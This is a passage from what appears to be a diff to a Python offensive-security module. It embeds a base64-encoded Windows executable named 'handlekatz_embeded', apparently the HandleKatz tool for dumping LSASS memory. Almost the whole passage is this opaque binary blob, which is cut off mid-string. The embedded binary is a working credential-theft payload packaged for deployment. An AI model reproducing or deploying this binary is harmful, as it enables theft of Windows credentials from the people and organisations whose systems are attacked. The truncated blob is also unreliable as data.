AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") + self.handlekatz_embeded = base64.b64decode( + "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